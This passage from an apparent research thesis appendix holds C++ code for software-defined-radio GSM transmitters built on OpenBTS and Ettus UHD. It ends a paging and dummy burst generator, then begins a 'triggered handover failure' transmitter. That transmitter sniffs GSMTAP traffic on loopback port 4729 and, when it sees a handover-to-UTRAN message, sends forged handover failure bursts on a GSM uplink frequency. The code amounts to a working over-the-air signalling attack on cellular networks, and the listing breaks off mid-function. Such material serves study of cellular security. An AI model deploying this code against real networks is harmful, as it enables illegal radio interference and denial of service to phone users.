      fillerTable[j][i] = new signalVector(*modBurst); 
      Frame_Number += 1; 
      type2quarter_burst3 = false; 
      type24_burst3 = false; 
      delete modBurst; 
      break; 
    } 
    else{ 
      signalVector* modBurst = modulateBurst(TDMA_burst[17], *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
      scaleVector(*modBurst,fullScaleInputValue); 
      fillerTable[j][i] = new signalVector(*modBurst); 
      Frame_Number += 1; 
      type2quarter_burst3 = true; 
      type24_burst3 = false; 
      delete modBurst; 
      break; 
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    } 
  } 
  else{ 
    signalVector* modBurst = modulateBurst(TDMA_burst[25], *gsmPulse, 
                                 8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type24_burst3 = true; 
    delete modBurst; 
    break; 
  } 
} 
case 57: { // CCCH Fill Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[26], *gsmPulse, 
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 58: { // CCCH Fill Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[27], *gsmPulse, 
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 59: { // CCCH Fill Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[28], *gsmPulse, 8 + 
(i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 60: { // CCCH Fill Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[29], *gsmPulse, 
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 61:{ // Frequency Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
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  delete modBurst; 
  break; 
} 
case 62:{ // Synchronization Burst 
  BitVector current_sync_burst = sync_burst_creator(Frame_Number); 
  signalVector* modBurst = modulateBurst(current_sync_burst, *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 63: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 64: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 65: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 66: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 67: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
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  delete modBurst; 
  break; 
} 
case 68: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 69: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 70: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 71:{ // Frequency Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 72:{ // Synchronization Burst 
  BitVector current_sync_burst = sync_burst_creator(Frame_Number); 
  signalVector* modBurst = modulateBurst(current_sync_burst, *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 73: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
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  delete modBurst; 
  break; 
} 
case 74: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 75: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 76: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 77: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 78: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 79: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
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  break; 
} 
case 80: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 81:{ // Frequency Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 82:{ // Synchronization Burst 
  BitVector current_sync_burst = sync_burst_creator(Frame_Number); 
  signalVector* modBurst = modulateBurst(current_sync_burst, *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 83: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 84: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 85: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
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  break; 
} 
case 86: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 87: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 88: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 89: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 90: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 91:{ // Frequency Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
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} 
case 92:{ // Synchronization Burst 
  BitVector current_sync_burst = sync_burst_creator(Frame_Number); 
  signalVector* modBurst = modulateBurst(current_sync_burst, *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 93: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 94: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 95: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 96: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 97: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
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} 
case 98: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 99: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 100: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 101: { // Idle Burst (Dummy Burst) 
  signalVector* modBurst = modulateBurst(TDMA_burst[1], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
} 
default:{ // Default fills bursts with Dummy Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[1], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
} 
} // end switch 
} // end if 
 
else{ // Fill remaining timeslot [1–7] with Dummy Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[1], *gsmPulse,  
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst, fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
} // end else 
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} // end inner for loop 
} // end outer for loop 
 
//Test to see if Frame Number needs to be reset 
if(Frame_Number >= 2715647){ 
  Frame_Number = 0; 
  return 0; 
} 
 
md.start_of_burst = false; 
md.end_of_burst = false; 
md.has_time_spec = false; 
 
for(int j=0; j<102; j++) 
{ 
  for(int i=0; i<8; i++) 
  { 
    signalVector* currentBurst = fillerTable[j][i]; 
    tx_vec = concat(tx_vec, currentBurst); 
    num_chunks = tx_vec->size() / 585; 
// Need 4 GSM bursts before num_chunks > 1 
 
    if(num_chunks < 1){ 
      std::cout << “need more samples” << std::endl; 
    } 
 
    else{ 
// Re-sampler needs four GSM bursts before resampling process can start 
      resamp_vec = resmpl_sigvec(tx_hist, &tx_vec, tx_lpf, 96, 65, 
585); 
 
// Conversion of re-sampled vector from float to short 
      num_resmpl = sigvec_to_short(resamp_vec, smpls_out); 
 
// Send re-sampled burst of type short to USRP 
      size_t num_tx_samps = tx_stream->send(smpls_out + 192 * 2,  
                    num_resmpl - 192 , md, 
uhd::device::SEND_MODE_FULL_BUFF); 
      } 
    } 
  } 
}while(not stop_signal_called and repeat);  
 
/********************************************************/ 
/* Delete Vectors and Destroy Signal Processing Library */ 
/********************************************************/ 
  delete currentBurst; 
  delete tx_hist; 
  delete tx_lpf; 
  delete tx_vec; 
  delete gsmPulse; 
  sigProcLibDestroy(); 
  std::cout << “success” << std::endl; 
  return EXIT_SUCCESS; 
} // end main loop
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APPENDIX C. GSM TRANSMITTER C++ CODE FOR TRIGGERED 
HANDOVER FAILURE MESSAGE 

This appendix contains the code for the triggered GSM handover failure message 

transmitter. Prior to using this code, the handover failure message must first be converted 

from hexadecimal values to binary values by executing the 

GSM_message_hexadecimal_to_binary.py code described in Appendix B. 

Next, the binary output from the GSM_message_hexadecimal_to_binary.py 

code is run through the GSM_Burst_Creator.cpp code to encode the data bits and 

interleave them onto four GSM TDMA normal bursts. Finally, the four GSM TDMA 

normal bursts are modulated, re-sampled and transmitted using the 

GSM_Handover_Failure_Triggered_Transmitter.cpp code contained in 

this appendix. Many of the functions in this code were originally written in OpenBTS [1]; 

therefore, it requires the following OpenBTS C++ source code files for proper execution: 

sigProcLib.cpp, BitVector.cpp, GSMCommon.cpp, and Timeval.cpp. It 

also requires the following dependencies when using an Ubuntu Linux load: libboost-all-

dev, libusb-1.0–0-dev, python-cheetah, doxygen, and python-docutils. Finally, the 

GSM_Handover_Failure_Triggered_Transmitter.cpp requires installation 

of Ettus UHD software. 

A. GSM_HANDOVER_FAILURE_TRIGGERED_TRANSMITTER.CPP 

#include <uhd/utils/thread_priority.hpp> 
#include <uhd/utils/safe_main.hpp> 
#include <uhd/utils/static.hpp> 
#include <uhd/usrp/multi_usrp.hpp> 
#include <uhd/exception.hpp> 
#include <uhd/stream.hpp> 
#include “sigProcLib.h” 
#include “BitVector.h” 
#include <boost/math/special_functions/round.hpp> 
#include <boost/date_time/posix_time/posix_time.hpp> 
#include <boost/foreach.hpp> 
#include <boost/format.hpp> 
#include <boost/thread.hpp> 
#include <iostream> 
#include <complex> 
#include <csignal> 
#include <algorithm> 
#include <fstream> 
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#include <time.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <pcap.h> 
#include <netinet/ip.h> 
#include <arpa/inet.h> 
#include <map> 
 
/**************************************************************/ 
/*                    TDMA_burst Array                        */ 
/* A list of the handover failure bursts created by the       */ 
/* GSM_Burst_Creator.cpp code is needed as an input in order  */ 
/* to send a handover failure message.                        */ 
/**************************************************************/ 
const BitVector 
TDMA_burst[] = { 
BitVector(“000111110110111011000001010010011100000100100010000000111110
10111000101110001011100010111110100101000110011001110011110100111110001
00101111101010000”), // Dummy Burst (No. 0) 
 
BitVector(“000100000010001110111010100010000000001000101111101010000000
10010110111011110001011011100100000000101010101010001001000000000000111
11010100010100000”), // Handover Failure Burst0 (No. 1) 
 
BitVector(“000101011101001110101010000001000101110101111110100000100000
10010110111011110001011011100101111101111010101010000101010101011100111
01010100000000000”), // Handover Failure Burst1 (No. 2) 
 
BitVector(“000000000010101110101010100000010000000011101110100000000000
10010110111011110001011011100010101011101110100000000000000000001111101
01010000101010000”), // Handover Failure Burst2 (No. 3) 
 
BitVector(“000000101001010001010101101011100000100100010111011111101110
10010110111011110001011011101010100101000101010100111010100000110001010
10101111011101000”) // Handover Failure Burst3 (No. 4) 
}; 
 
/********************************************************************/ 
/*                      init_resampler Function                     */ 
/* This function initializes resampling signal vectors and was      */ 
/* derived from the OpenBTS source code file radioIOResamp.cpp [1]. */ 
/********************************************************************/ 
void 
init_resampler(signalVector **lpf, signalVector **buf, signalVector 
**hist, 
                int tx) 
{ 
  int P, Q, taps, hist_len; 
  float cutoff_freq;  
  P = 96 * 1; 
  Q = 65 * 1; 
  taps = 651; 
  hist_len = 130; 
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  if (!*lpf){ 
      cutoff_freq = (P < Q) ? (1.0/(float) Q) : (1.0/(float) P); 
      *lpf = createLPF(cutoff_freq, taps, P); 
  } 
  if (!*buf){ 
      *buf = new signalVector(); 
  } 
 
  if (!*hist){ 
      *hist = new signalVector(hist_len); 
  } 
} 
 
/**************************************************************/ 
/*                      concat Function                       */ 
/* This function concatenates signal vectors and was derived  */ 
/* from the OpenBTS source code file radioIOResamp.cpp [1].   */ 
/**************************************************************/ 
signalVector 
*concat(signalVector *a, signalVector *b) 
{ 
  signalVector *vec = new signalVector(*a, *b); 
  delete a; 
  delete b; 
 
  return vec; 
} 
 
/************************************************************/ 
/*                       segment Function                   */ 
/* This function re-segments signal vector and was derived  */ 
/* from the OpenBTS source code file radioIOResamp.cpp [1]. */ 
/************************************************************/ 
signalVector 
*segment(signalVector *a, int indx, int sz) 
{ 
  signalVector *vec = new signalVector(sz); 
  a->segmentCopyTo(*vec, indx, sz); 
  delete a; 
  return vec; 
} 
 
/************************************************************/ 
/*                    resmpl_sigvec Function                */ 
/* This function re-samples signal vector and was derived   */ 
/* from the OpenBTS source code file radioIOResamp.cpp [1]. */ 
/************************************************************/ 
signalVector 
*resmpl_sigvec(signalVector *hist, signalVector **vec, 
               signalVector *lpf, double in_rate, double out_rate, 
               int chunk_sz) 
{ 
  signalVector *resamp_vec; 
  int num_chunks = (*vec)->size() / chunk_sz; 
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// Truncate to a chunk multiple 
  signalVector trunc_vec(num_chunks * chunk_sz); 
  (*vec)->segmentCopyTo(trunc_vec, 0, num_chunks * chunk_sz); 
 
// Update sample buffer with remainder 
  *vec = segment(*vec, trunc_vec.size(), (*vec)->size() - 
trunc_vec.size()); 
 
// Add history and resample 
  signalVector input_vec(*hist, trunc_vec); 
  resamp_vec = polyphaseResampleVector(input_vec, in_rate, 
                                           out_rate, lpf); 
 
// Update history 
  trunc_vec.segmentCopyTo(*hist, trunc_vec.size() - hist->size(), 
                            hist->size()); 
  return resamp_vec; 
} 
 
/****************************************************************/ 
/*                 sigvec_to_short Function                     */ 
/* This function converts a signal vector into a C++ type short */ 
/* array and was derived from the OpenBTS source code file      */ 
/* radioIOResamp.cpp [1].                                       */ 
/****************************************************************/ 
int 
sigvec_to_short(signalVector *vec, short *smpls) 
{ 
  int i; 
  signalVector::iterator itr = vec->begin(); 
  for (i = 0; i < vec->size(); i++) { 
    smpls[2 * i + 0] = itr->real(); 
    smpls[2 * i + 1] = itr->imag(); 
    itr++; 
  } 
  delete vec; 
  return i; 
} 
 
/********************************************************************/ 
/*                         Main Function                            */ 
/********************************************************************/ 
int 
UHD_SAFE_MAIN(int argc, char *argv[]){ 
  uhd::set_thread_priority_safe(); 
 
/************************/ 
/* Initialize Variables */ 
/************************/ 
  std::string args = ““; 
  double tx_sample_rate = 400e3; 
  double tx_freq = 890600000;    //ARFCN 3 uplink frequency 
  float tx_gain = 1; 
  double tx_bandwidth = 200000; 
  std::string ant = “TX/RX”; 
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  int samplesPerSymbol = 1; 
  int numARFCN = 1; 
  double fullScaleInputValue = (32000)*(0.3); 
  double oneScaleInputValue = (32000)*(0.3); 
  double zeroScaleInputValue = 1; 
  int mOversamplingRate = numARFCN/2 + numARFCN; 
 
// Initialize Signal Processing Library 
  sigProcLibSetup(samplesPerSymbol); 
 
// Create GSM Pulse 
  signalVector *gsmPulse = generateGSMPulse(2,1); 
 
// Initialize vector which holds re-sampler’s low pass filter 
  signalVector *tx_lpf = 0; 
 
// Initialize vector which holds re-sampler’s history vector 
  signalVector *tx_hist = 0; 
 
// Initialize vector which holds re-sampler’s input buffer 
  signalVector *tx_vec = 0; 
 
// Initialize re-sampler 
  init_resampler(&tx_lpf, &tx_vec, &tx_hist, true); 
 
/*******************/ 
/* Initialize USRP */ 
/*******************/ 
  uhd::usrp::multi_usrp::sptr usrp; 
  usrp = uhd::usrp::multi_usrp::make(args); 
 
// Create transmit streamer 
  uhd::stream_args_t stream_args;  
  stream_args.cpu_format = “sc16”; 
  uhd::tx_streamer::sptr tx_stream = usrp->get_tx_stream(stream_args); 
 
// Set the transmit sample rate (Hz) 
  usrp->set_tx_rate(tx_sample_rate); 
  double actual_tx_rate = usrp->get_tx_rate(); 
 
/*  set tx gain    */ 
  usrp->set_tx_gain(tx_gain); 
 
/*  set tx freq    */ 
  uhd::tune_result_t tr = usrp->set_tx_freq(tx_freq); 
  double actual_tx_freq = usrp->get_tx_freq(); 
 
/* set tx bandwidth */ 
  usrp->set_tx_bandwidth(tx_bandwidth); 
 
/*  set tx antenna  */ 
  usrp->set_tx_antenna(ant); 
 
/*********************************************************/ 
/*                    Create PCAP Listener               */ 
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/* IP Address = LOOPBACK Address, UPD Listen Port = 4729 */ 
/*********************************************************/ 
// Session handle 
  pcap_t *handle; 
// Sniff the Loopback Address 
  char dev[] = “lo”; 
// Error string 
  char errbuf[PCAP_ERRBUF_SIZE]; 
// Compiled filter expression 
  struct bpf_program fp; 
// Filter, only what traffic using port 4729 
  char filter_exp[] = “port 4729”; 
// Our netmask 
  bpf_u_int32 mask; 
// Our IP Address 
  bpf_u_int32 net; 
// PCAP header storage 
  struct pcap_pkthdr header; 
// Pointer to beginning of packet received 
  const u_char *packet; 
  char const hex[16] =  
      
{‘0’,’1’,’2’,’3’,’4’,’5’,’6’,’7’,’8’,’9’,’A’,’B’,’C’,’D’,’E’,’F’}; 
  std::string gsm_handover_to_UTRAN_message = “0663”; 
 
  if(pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { 
    fprintf(stderr, “Can’t get netmask for device %s\n,” dev); 
    net = 0; 
    mask = 0; 
  } 
 
  handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); 
 
  if(handle == NULL) { 
    fprintf(stderr, “Couldn’t open device %s: %s\n,” dev, errbuf); 
    return(2); 
  } 
 
  if(pcap_compile(handle, &fp, filter_exp, 0, net) == -1) { 
    fprintf(stderr, “Couldn’t parse filter %s: %s\n,” filter_exp,  
            pcap_geterr(handle)); 
    return(2); 
  } 
 
  if(pcap_setfilter(handle, &fp) == -1) { 
    fprintf(stderr, “Couldn’t install filter %s: %s\n,” filter_exp,  
             pcap_geterr(handle)); 
    return(2); 
  } 
/*****************************************************************/ 
/*                        GSM Transmitter                        */ 
/*****************************************************************/ 
  uhd::tx_metadata_t md; 
  uhd::time_spec_t current_usrp_time = usrp->get_time_now(); 
  short smpls_out[4680]; 
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  int num_resmpl, num_chunks; 
  signalVector* resamp_vec; 
  signalVector* currentBurst; 
 
  signalVector *fillerTable[4][8]; 
  for (int j = 0; j < 4; j++) { 
    for (int i = 0; i < 8; i++) { 
      if(i == 0){ 
 
if(j==0) { // Handover Failure Burst0 (Timeslot 0, TDMA Frame 0) 
  signalVector* modBurst = modulateBurst(TDMA_burst[1], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst, fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  delete modBurst; 
} 
else if(j==1) { // Handover Failure Burst0 (Timeslot 0, TDMA Frame 1) 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse,  
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst, fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  delete modBurst; 
} 
else if(j==2) { // Handover Failure Burst0 (Timeslot 0, TDMA Frame 2) 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                             8 + (i % 4  == 0), samplesPerSymbol); 
  scaleVector(*modBurst, fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  delete modBurst; 
} 
else { // Handover Failure Burst0 (Timeslot 0, TDMA Frame 3) 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst, fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  delete modBurst; 
} 
} // end if(i == 0) 
else if(i==1){ // Amplified Dummy Burst (Timeslot 1, TDMA Frame [0–3]) 
